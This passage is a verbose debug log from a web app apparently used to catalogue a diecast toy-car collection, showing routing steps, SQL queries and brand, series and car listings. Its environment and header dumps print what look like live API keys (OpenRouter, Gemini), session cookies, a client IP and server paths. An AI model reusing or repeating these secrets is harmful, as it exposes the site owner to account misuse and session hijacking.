    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:33:30.102Z server-connect:router Serving templateView /
2026-06-29T05:33:30.102Z server-connect:app Executing action step identify
2026-06-29T05:33:30.102Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:30.102Z server-connect:output identity: 1
2026-06-29T05:33:30.102Z server-connect:app Executing action step restrict
2026-06-29T05:33:30.102Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:30.103Z server-connect:output restrict: undefined
2026-06-29T05:33:30.103Z server-connect:app Executing action step restrict
2026-06-29T05:33:30.103Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:30.104Z server-connect:output restrict: undefined
2026-06-29T05:33:30.104Z server-connect:router Render template layouts/main
2026-06-29T05:33:30.104Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-29T05:33:31.934Z server-connect:router Serving templateView /diecast
2026-06-29T05:33:31.935Z server-connect:app Executing action step identify
2026-06-29T05:33:31.935Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:31.935Z server-connect:output identity: 1
2026-06-29T05:33:31.935Z server-connect:app Executing action step restrict
2026-06-29T05:33:31.935Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:31.936Z server-connect:output restrict: undefined
2026-06-29T05:33:31.936Z server-connect:router Render template diecast
2026-06-29T05:33:31.936Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:33:32.195Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-29T05:33:32.195Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-29T05:33:32.197Z server-connect:app Executing action step identify
2026-06-29T05:33:32.197Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:32.197Z server-connect:output identity: 1
2026-06-29T05:33:32.197Z server-connect:app Executing action step restrict
2026-06-29T05:33:32.197Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:32.200Z server-connect:router Serving serverConnect /api/diecast/list
2026-06-29T05:33:32.200Z server-connect:app Executing action step identify
2026-06-29T05:33:32.200Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:32.200Z server-connect:output identity: 1
2026-06-29T05:33:32.200Z server-connect:app Executing action step restrict
2026-06-29T05:33:32.200Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:32.202Z server-connect:output restrict: undefined
2026-06-29T05:33:32.202Z server-connect:app Executing action step select
2026-06-29T05:33:32.202Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-29T05:33:32.203Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-29T05:33:32.203Z server-connect:output restrict: undefined
2026-06-29T05:33:32.203Z server-connect:app Executing action step select
2026-06-29T05:33:32.203Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-29T05:33:32.204Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-06-29T05:33:32.206Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-06-29T05:33:32.208Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-06-29T05:33:32.209Z server-connect:app Executing action step identify
2026-06-29T05:33:32.209Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:32.209Z server-connect:output identity: 1
2026-06-29T05:33:32.209Z server-connect:app Executing action step restrict
2026-06-29T05:33:32.209Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:32.211Z server-connect:app Executing action step identify
2026-06-29T05:33:32.211Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:32.211Z server-connect:output identity: 1
2026-06-29T05:33:32.211Z server-connect:app Executing action step restrict
2026-06-29T05:33:32.211Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:32.211Z server-connect:app Executing action step identify
2026-06-29T05:33:32.211Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:32.211Z server-connect:output identity: 1
2026-06-29T05:33:32.212Z server-connect:app Executing action step restrict
2026-06-29T05:33:32.212Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:32.213Z server-connect:output restrict: undefined
2026-06-29T05:33:32.213Z server-connect:app Executing action step paged
2026-06-29T05:33:32.213Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-06-29T05:33:32.215Z server-connect:output restrict: undefined
2026-06-29T05:33:32.215Z server-connect:app Executing action step select
2026-06-29T05:33:32.215Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-29T05:33:32.215Z server-connect:output restrict: undefined
2026-06-29T05:33:32.216Z server-connect:app Executing action step select
2026-06-29T05:33:32.216Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-29T05:33:32.218Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-06-29T05:33:32.221Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-06-29T05:33:32.222Z server-connect:app Executing action step select
2026-06-29T05:33:32.222Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-29T05:33:32.224Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
